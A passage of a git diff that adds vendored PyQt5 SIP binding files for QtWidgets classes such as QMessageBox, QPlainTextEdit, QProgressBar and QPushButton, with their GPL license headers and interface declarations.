*option, const QAction *action) const; + virtual void changeEvent(QEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void mouseReleaseEvent(QMouseEvent *); + virtual void mousePressEvent(QMouseEvent *); + virtual void mouseMoveEvent(QMouseEvent *); + virtual void leaveEvent(QEvent *); + virtual void paintEvent(QPaintEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void actionEvent(QActionEvent *); + virtual void focusOutEvent(QFocusEvent *); + virtual void focusInEvent(QFocusEvent *); + virtual bool eventFilter(QObject *, QEvent *); + virtual bool event(QEvent *); + virtual void timerEvent(QTimerEvent *); + +public: + bool isNativeMenuBar() const; + void setNativeMenuBar(bool nativeMenuBar); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmessagebox.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmessagebox.sip new file mode 100644 index 00000000..323e6abd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmessagebox.sip @@ -0,0 +1,172 @@ +// qmessagebox.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMessageBox : QDialog +{ +%TypeHeaderCode +#include +%End + +public: + enum ButtonRole + { + InvalidRole, + AcceptRole, + RejectRole, + DestructiveRole, + ActionRole, + HelpRole, + YesRole, + NoRole, + ResetRole, + ApplyRole, + }; + + enum Icon + { + NoIcon, + Information, + Warning, + Critical, + Question, + }; + + enum StandardButton + { + NoButton, + Ok, + Save, + SaveAll, + Open, + Yes, + YesToAll, + No, + NoToAll, + Abort, + Retry, + Ignore, + Close, + Cancel, + Discard, + Help, + Apply, + Reset, + RestoreDefaults, + FirstButton, + LastButton, + YesAll, + NoAll, + Default, + Escape, + FlagMask, + ButtonMask, + }; + + typedef QFlags StandardButtons; + typedef QMessageBox::StandardButton Button; + explicit QMessageBox(QWidget *parent /TransferThis/ = 0); + QMessageBox(QMessageBox::Icon icon, const QString &title, const QString &text, QMessageBox::StandardButtons buttons = QMessageBox::NoButton, QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::Dialog | Qt::MSWindowsFixedSizeDialogHint); + virtual ~QMessageBox(); + QString text() const; + void setText(const QString &); + QMessageBox::Icon icon() const; + void setIcon(QMessageBox::Icon); + QPixmap iconPixmap() const; + void setIconPixmap(const QPixmap &); + Qt::TextFormat textFormat() const; + void setTextFormat(Qt::TextFormat); + static QMessageBox::StandardButton information(QWidget *parent, const QString &title, const QString &text, QMessageBox::StandardButtons buttons = QMessageBox::Ok, QMessageBox::StandardButton defaultButton = QMessageBox::NoButton) /ReleaseGIL/; + static QMessageBox::StandardButton question(QWidget *parent, const QString &title, const QString &text, QMessageBox::StandardButtons buttons = QMessageBox::StandardButtons(QMessageBox::Yes | QMessageBox::No), QMessageBox::StandardButton defaultButton = QMessageBox::NoButton) /ReleaseGIL/; + static QMessageBox::StandardButton warning(QWidget *parent, const QString &title, const QString &text, QMessageBox::StandardButtons buttons = QMessageBox::Ok, QMessageBox::StandardButton defaultButton = QMessageBox::NoButton) /ReleaseGIL/; + static QMessageBox::StandardButton critical(QWidget *parent, const QString &title, const QString &text, QMessageBox::StandardButtons buttons = QMessageBox::Ok, QMessageBox::StandardButton defaultButton = QMessageBox::NoButton) /ReleaseGIL/; + static void about(QWidget *parent, const QString &caption, const QString &text) /ReleaseGIL/; + static void aboutQt(QWidget *parent, const QString &title = QString()) /ReleaseGIL/; + static QPixmap standardIcon(QMessageBox::Icon icon); + +protected: + virtual bool event(QEvent *e); + virtual void resizeEvent(QResizeEvent *); + virtual void showEvent(QShowEvent *); + virtual void closeEvent(QCloseEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void changeEvent(QEvent *); + +public: + void addButton(QAbstractButton *button /Transfer/, QMessageBox::ButtonRole role); + QPushButton *addButton(const QString &text, QMessageBox::ButtonRole role) /Transfer/; + QPushButton *addButton(QMessageBox::StandardButton button) /Transfer/; + void removeButton(QAbstractButton *button /TransferBack/); + void setStandardButtons(QMessageBox::StandardButtons buttons); + QMessageBox::StandardButtons standardButtons() const; + QMessageBox::StandardButton standardButton(QAbstractButton *button) const; + QAbstractButton *button(QMessageBox::StandardButton which) const; + QPushButton *defaultButton() const; + void setDefaultButton(QPushButton *button /KeepReference/); + void setDefaultButton(QMessageBox::StandardButton button); + QAbstractButton *escapeButton() const; + void setEscapeButton(QAbstractButton *button /KeepReference/); + void setEscapeButton(QMessageBox::StandardButton button); + QAbstractButton *clickedButton() const; + QString informativeText() const; + void setInformativeText(const QString &text); + QString detailedText() const; + void setDetailedText(const QString &text); + void setWindowTitle(const QString &title); + void setWindowModality(Qt::WindowModality windowModality); + virtual void open(); + void open(SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a0, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipCpp->open(receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End + + QList buttons() const; + QMessageBox::ButtonRole buttonRole(QAbstractButton *button) const; + +signals: + void buttonClicked(QAbstractButton *button); + +public: +%If (Qt_5_1_0 -) + void setTextInteractionFlags(Qt::TextInteractionFlags flags); +%End +%If (Qt_5_1_0 -) + Qt::TextInteractionFlags textInteractionFlags() const; +%End +%If (Qt_5_2_0 -) + void setCheckBox(QCheckBox *cb); +%End +%If (Qt_5_2_0 -) + QCheckBox *checkBox() const; +%End +}; + +QFlags operator|(QMessageBox::StandardButton f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmouseeventtransition.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmouseeventtransition.sip new file mode 100644 index 00000000..6e0ce520 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qmouseeventtransition.sip @@ -0,0 +1,43 @@ +// qmouseeventtransition.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QMouseEventTransition : QEventTransition +{ +%TypeHeaderCode +#include +%End + +public: + QMouseEventTransition(QState *sourceState /TransferThis/ = 0); + QMouseEventTransition(QObject *object /KeepReference=10/, QEvent::Type type, Qt::MouseButton button, QState *sourceState /TransferThis/ = 0); + virtual ~QMouseEventTransition(); + Qt::MouseButton button() const; + void setButton(Qt::MouseButton button); + Qt::KeyboardModifiers modifierMask() const; + void setModifierMask(Qt::KeyboardModifiers modifiers); + QPainterPath hitTestPath() const; + void setHitTestPath(const QPainterPath &path); + +protected: + virtual void onTransition(QEvent *event); + virtual bool eventTest(QEvent *event); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qopenglwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qopenglwidget.sip new file mode 100644 index 00000000..5f4043a7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qopenglwidget.sip @@ -0,0 +1,85 @@ +// qopenglwidget.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) +%If (PyQt_OpenGL) + +class QOpenGLWidget : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QOpenGLWidget(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QOpenGLWidget(); + void setFormat(const QSurfaceFormat &format); + QSurfaceFormat format() const; + bool isValid() const; + void makeCurrent(); + void doneCurrent(); + QOpenGLContext *context() const; + GLuint defaultFramebufferObject() const; + QImage grabFramebuffer(); + +signals: + void aboutToCompose(); + void frameSwapped(); + void aboutToResize(); + void resized(); + +protected: + virtual void initializeGL(); + virtual void resizeGL(int w, int h); + virtual void paintGL(); + virtual void paintEvent(QPaintEvent *e); + virtual void resizeEvent(QResizeEvent *e); + virtual bool event(QEvent *e); + virtual int metric(QPaintDevice::PaintDeviceMetric metric) const; + virtual QPaintEngine *paintEngine() const; + +public: +%If (Qt_5_5_0 -) + + enum UpdateBehavior + { + NoPartialUpdate, + PartialUpdate, + }; + +%End +%If (Qt_5_5_0 -) + void setUpdateBehavior(QOpenGLWidget::UpdateBehavior updateBehavior); +%End +%If (Qt_5_5_0 -) + QOpenGLWidget::UpdateBehavior updateBehavior() const; +%End +%If (Qt_5_10_0 -) + GLenum textureFormat() const; +%End +%If (Qt_5_10_0 -) + void setTextureFormat(GLenum texFormat); +%End +}; + +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qplaintextedit.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qplaintextedit.sip new file mode 100644 index 00000000..953753e9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qplaintextedit.sip @@ -0,0 +1,217 @@ +// qplaintextedit.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPlainTextEdit : QAbstractScrollArea +{ +%TypeHeaderCode +#include +%End + +public: + enum LineWrapMode + { + NoWrap, + WidgetWidth, + }; + + explicit QPlainTextEdit(QWidget *parent /TransferThis/ = 0); + QPlainTextEdit(const QString &text, QWidget *parent /TransferThis/ = 0); + virtual ~QPlainTextEdit(); + void setDocument(QTextDocument *document /KeepReference/); + QTextDocument *document() const; + void setTextCursor(const QTextCursor &cursor); + QTextCursor textCursor() const; + bool isReadOnly() const; + void setReadOnly(bool ro); + void setTextInteractionFlags(Qt::TextInteractionFlags flags); + Qt::TextInteractionFlags textInteractionFlags() const; + void mergeCurrentCharFormat(const QTextCharFormat &modifier); + void setCurrentCharFormat(const QTextCharFormat &format); + QTextCharFormat currentCharFormat() const; + bool tabChangesFocus() const; + void setTabChangesFocus(bool b); + void setDocumentTitle(const QString &title); + QString documentTitle() const; + bool isUndoRedoEnabled() const; + void setUndoRedoEnabled(bool enable); + void setMaximumBlockCount(int maximum); + int maximumBlockCount() const; + QPlainTextEdit::LineWrapMode lineWrapMode() const; + void setLineWrapMode(QPlainTextEdit::LineWrapMode mode); + QTextOption::WrapMode wordWrapMode() const; + void setWordWrapMode(QTextOption::WrapMode policy); + void setBackgroundVisible(bool visible); + bool backgroundVisible() const; + void setCenterOnScroll(bool enabled); + bool centerOnScroll() const; + bool find(const QString &exp, QTextDocument::FindFlags options = QTextDocument::FindFlags()); + QString toPlainText() const; + void ensureCursorVisible(); + virtual QVariant loadResource(int type, const QUrl &name); + QMenu *createStandardContextMenu() /Factory/; +%If (Qt_5_5_0 -) + QMenu *createStandardContextMenu(const QPoint &position) /Factory/; +%End + QTextCursor cursorForPosition(const QPoint &pos) const; + QRect cursorRect(const QTextCursor &cursor) const; + QRect cursorRect() const; + bool overwriteMode() const; + void setOverwriteMode(bool overwrite); + int tabStopWidth() const; + void setTabStopWidth(int width); + int cursorWidth() const; + void setCursorWidth(int width); + void setExtraSelections(const QList &selections); + QList extraSelections() const; + void moveCursor(QTextCursor::MoveOperation operation, QTextCursor::MoveMode mode = QTextCursor::MoveAnchor); + bool canPaste() const; +%If (PyQt_Printer) + void print(QPagedPaintDevice *printer) const /PyName=print_/; +%End +%If (Py_v3) +%If (PyQt_Printer) + void print(QPagedPaintDevice *printer) const; +%End +%End + int blockCount() const; + +public slots: + void setPlainText(const QString &text); + void cut(); + void copy(); + void paste(); + void undo(); + void redo(); + void clear(); + void selectAll(); + void insertPlainText(const QString &text); + void appendPlainText(const QString &text); + void appendHtml(const QString &html); + void centerCursor(); + +signals: + void textChanged(); + void undoAvailable(bool b); + void redoAvailable(bool b); + void copyAvailable(bool b); + void selectionChanged(); + void cursorPositionChanged(); + void updateRequest(const QRect &rect, int dy); + void blockCountChanged(int newBlockCount); + void modificationChanged(bool); + +protected: + virtual bool event(QEvent *e); + virtual void timerEvent(QTimerEvent *e); + virtual void keyPressEvent(QKeyEvent *e); + virtual void keyReleaseEvent(QKeyEvent *e); + virtual void resizeEvent(QResizeEvent *e); + virtual void paintEvent(QPaintEvent *e); + virtual void mousePressEvent(QMouseEvent *e); + virtual void mouseMoveEvent(QMouseEvent *e); + virtual void mouseReleaseEvent(QMouseEvent *e); + virtual void mouseDoubleClickEvent(QMouseEvent *e); + virtual bool focusNextPrevChild(bool next); + virtual void contextMenuEvent(QContextMenuEvent *e); + virtual void dragEnterEvent(QDragEnterEvent *e); + virtual void dragLeaveEvent(QDragLeaveEvent *e); + virtual void dragMoveEvent(QDragMoveEvent *e); + virtual void dropEvent(QDropEvent *e); + virtual void focusInEvent(QFocusEvent *e); + virtual void focusOutEvent(QFocusEvent *e); + virtual void showEvent(QShowEvent *); + virtual void changeEvent(QEvent *e); + virtual void wheelEvent(QWheelEvent *e); + virtual void inputMethodEvent(QInputMethodEvent *); + +public: + virtual QVariant inputMethodQuery(Qt::InputMethodQuery property) const; + +protected: + virtual QMimeData *createMimeDataFromSelection() const /Factory/; + virtual bool canInsertFromMimeData(const QMimeData *source) const; + virtual void insertFromMimeData(const QMimeData *source); + virtual void scrollContentsBy(int dx, int dy); + QTextBlock firstVisibleBlock() const; + QPointF contentOffset() const; + QRectF blockBoundingRect(const QTextBlock &block) const; + QRectF blockBoundingGeometry(const QTextBlock &block) const; + QAbstractTextDocumentLayout::PaintContext getPaintContext() const; + +public: + QString anchorAt(const QPoint &pos) const; + +public slots: +%If (Qt_5_1_0 -) + void zoomIn(int range = 1); +%End +%If (Qt_5_1_0 -) + void zoomOut(int range = 1); +%End + +public: +%If (Qt_5_3_0 -) + void setPlaceholderText(const QString &placeholderText); +%End +%If (Qt_5_3_0 -) + QString placeholderText() const; +%End +%If (Qt_5_3_0 -) + bool find(const QRegExp &exp, QTextDocument::FindFlags options = QTextDocument::FindFlags()); +%End +%If (Qt_5_13_0 -) + bool find(const QRegularExpression &exp, QTextDocument::FindFlags options = QTextDocument::FindFlags()); +%End +%If (Qt_5_3_0 -) + QVariant inputMethodQuery(Qt::InputMethodQuery query, QVariant argument) const; +%End +%If (Qt_5_10_0 -) + qreal tabStopDistance() const; +%End +%If (Qt_5_10_0 -) + void setTabStopDistance(qreal distance); +%End +}; + +class QPlainTextDocumentLayout : QAbstractTextDocumentLayout +{ +%TypeHeaderCode +#include +%End + +public: + QPlainTextDocumentLayout(QTextDocument *document); + virtual ~QPlainTextDocumentLayout(); + virtual void draw(QPainter *, const QAbstractTextDocumentLayout::PaintContext &); + virtual int hitTest(const QPointF &, Qt::HitTestAccuracy) const; + virtual int pageCount() const; + virtual QSizeF documentSize() const; + virtual QRectF frameBoundingRect(QTextFrame *) const; + virtual QRectF blockBoundingRect(const QTextBlock &block) const; + void ensureBlockLayout(const QTextBlock &block) const; + void setCursorWidth(int width); + int cursorWidth() const; + void requestUpdate(); + +protected: + virtual void documentChanged(int from, int, int charsAdded); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qprogressbar.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qprogressbar.sip new file mode 100644 index 00000000..3d330e05 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qprogressbar.sip @@ -0,0 +1,72 @@ +// qprogressbar.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QProgressBar : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + enum Direction + { + TopToBottom, + BottomToTop, + }; + + explicit QProgressBar(QWidget *parent /TransferThis/ = 0); + virtual ~QProgressBar(); + int minimum() const; + int maximum() const; + void setRange(int minimum, int maximum); + int value() const; + virtual QString text() const; + void setTextVisible(bool visible); + bool isTextVisible() const; + Qt::Alignment alignment() const; + void setAlignment(Qt::Alignment alignment); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + Qt::Orientation orientation() const; + void setInvertedAppearance(bool invert); + void setTextDirection(QProgressBar::Direction textDirection); + void setFormat(const QString &format); + QString format() const; +%If (Qt_5_1_0 -) + void resetFormat(); +%End + +public slots: + void reset(); + void setMinimum(int minimum); + void setMaximum(int maximum); + void setValue(int value); + void setOrientation(Qt::Orientation); + +signals: + void valueChanged(int value); + +protected: + void initStyleOption(QStyleOptionProgressBar *option) const; + virtual bool event(QEvent *e); + virtual void paintEvent(QPaintEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qprogressdialog.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qprogressdialog.sip new file mode 100644 index 00000000..35938d79 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qprogressdialog.sip @@ -0,0 +1,85 @@ +// qprogressdialog.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QProgressDialog : QDialog +{ +%TypeHeaderCode +#include +%End + +public: + QProgressDialog(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + QProgressDialog(const QString &labelText, const QString &cancelButtonText, int minimum, int maximum, QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QProgressDialog(); + void setLabel(QLabel *label /Transfer/); + void setCancelButton(QPushButton *button /Transfer/); + void setBar(QProgressBar *bar /Transfer/); + bool wasCanceled() const; + int minimum() const; + int maximum() const; + void setRange(int minimum, int maximum); + int value() const; + virtual QSize sizeHint() const; + QString labelText() const; + int minimumDuration() const; + void setAutoReset(bool b); + bool autoReset() const; + void setAutoClose(bool b); + bool autoClose() const; + +public slots: + void cancel(); + void reset(); + void setMaximum(int maximum); + void setMinimum(int minimum); + void setValue(int progress); + void setLabelText(const QString &); + void setCancelButtonText(const QString &); + void setMinimumDuration(int ms); + +signals: + void canceled(); + +protected: + virtual void resizeEvent(QResizeEvent *); + virtual void closeEvent(QCloseEvent *); + virtual void changeEvent(QEvent *); + virtual void showEvent(QShowEvent *e); + void forceShow(); + +public: + void open(); + void open(SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a0, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipCpp->open(receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qproxystyle.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qproxystyle.sip new file mode 100644 index 00000000..47bcac51 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qproxystyle.sip @@ -0,0 +1,61 @@ +// qproxystyle.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QProxyStyle : QCommonStyle +{ +%TypeHeaderCode +#include +%End + +public: + QProxyStyle(QStyle *style /Transfer/ = 0); + QProxyStyle(const QString &key); + virtual ~QProxyStyle(); + QStyle *baseStyle() const; + void setBaseStyle(QStyle *style /Transfer/); + virtual void drawPrimitive(QStyle::PrimitiveElement element, const QStyleOption *option, QPainter *painter, const QWidget *widget = 0) const; + virtual void drawControl(QStyle::ControlElement element, const QStyleOption *option, QPainter *painter, const QWidget *widget = 0) const; + virtual void drawComplexControl(QStyle::ComplexControl control, const QStyleOptionComplex *option, QPainter *painter, const QWidget *widget = 0) const; + virtual void drawItemText(QPainter *painter, const QRect &rect, int flags, const QPalette &pal, bool enabled, const QString &text, QPalette::ColorRole textRole = QPalette::NoRole) const; + virtual void drawItemPixmap(QPainter *painter, const QRect &rect, int alignment, const QPixmap &pixmap) const; + virtual QSize sizeFromContents(QStyle::ContentsType type, const QStyleOption *option, const QSize &size, const QWidget *widget) const; + virtual QRect subElementRect(QStyle::SubElement element, const QStyleOption *option, const QWidget *widget) const; + virtual QRect subControlRect(QStyle::ComplexControl cc, const QStyleOptionComplex *opt, QStyle::SubControl sc, const QWidget *widget) const; + virtual QRect itemTextRect(const QFontMetrics &fm, const QRect &r, int flags, bool enabled, const QString &text) const; + virtual QRect itemPixmapRect(const QRect &r, int flags, const QPixmap &pixmap) const; + virtual QStyle::SubControl hitTestComplexControl(QStyle::ComplexControl control, const QStyleOptionComplex *option, const QPoint &pos, const QWidget *widget = 0) const; + virtual int styleHint(QStyle::StyleHint hint, const QStyleOption *option = 0, const QWidget *widget = 0, QStyleHintReturn *returnData = 0) const; + virtual int pixelMetric(QStyle::PixelMetric metric, const QStyleOption *option = 0, const QWidget *widget = 0) const; + virtual int layoutSpacing(QSizePolicy::ControlType control1, QSizePolicy::ControlType control2, Qt::Orientation orientation, const QStyleOption *option = 0, const QWidget *widget = 0) const; + virtual QIcon standardIcon(QStyle::StandardPixmap standardIcon, const QStyleOption *option = 0, const QWidget *widget = 0) const; + virtual QPixmap standardPixmap(QStyle::StandardPixmap standardPixmap, const QStyleOption *opt, const QWidget *widget = 0) const; + virtual QPixmap generatedIconPixmap(QIcon::Mode iconMode, const QPixmap &pixmap, const QStyleOption *opt) const; + virtual QPalette standardPalette() const; + virtual void polish(QWidget *widget); + virtual void polish(QPalette &pal /In,Out/); + virtual void polish(QApplication *app); + virtual void unpolish(QWidget *widget); + virtual void unpolish(QApplication *app); + +protected: + virtual bool event(QEvent *e); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qpushbutton.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qpushbutton.sip new file mode 100644 index 00000000..00873c6f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qpushbutton.sip @@ -0,0 +1,64 @@ +// qpushbutton.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPushButton : QAbstractButton +{ +%TypeHeaderCode +#include +%End + +public: + explicit QPushButton(QWidget *parent /TransferThis/ = 0); + QPushButton(const QString &text, QWidget *parent /TransferThis/ = 0); + QPushButton(const QIcon &icon, const QString &text, QWidget *parent /TransferThis/ = 0); + virtual ~QPushButton(); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + bool autoDefault() const; + void setAutoDefault(bool); + bool isDefault() const; + void setDefault(bool); + void setMenu(QMenu *menu /KeepReference/); + QMenu *menu() const; + void setFlat(bool); + bool isFlat() const; + +public slots: + void showMenu(); + +protected: + void initStyleOption(QStyleOptionButton *option) const; + virtual bool event(QEvent *e) /ReleaseGIL/; + virtual void paintEvent(QPaintEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void focusInEvent(QFocusEvent *); + virtual void focusOutEvent(QFocusEvent *); +%If (Qt_5_15_0 -) + virtual bool hitButton(const QPoint &pos) const; +%End +// Protected platform specific methods. +%If (- Qt_5_15_0) +%If (WS_MACX) +bool hitButton(const QPoint &pos) const; +%End +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qpywidgets_qlist.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qpywidgets_qlist.sip new file mode 100644 index 00000000..eb8096e7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qpywidgets_qlist.sip @@ -0,0 +1,124 @@ +// This is the SIP interface definition for the QList based mapped types +// specific to the QtWidgets module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%MappedType QList + /TypeHintIn="Iterable[QWizard.WizardButton]", + TypeHintOut="List[QWizard.WizardButton]", TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *eobj = sipConvertFromEnum(sipCpp->at(i), + sipType_QWizard_WizardButton); + + if (!eobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, eobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + 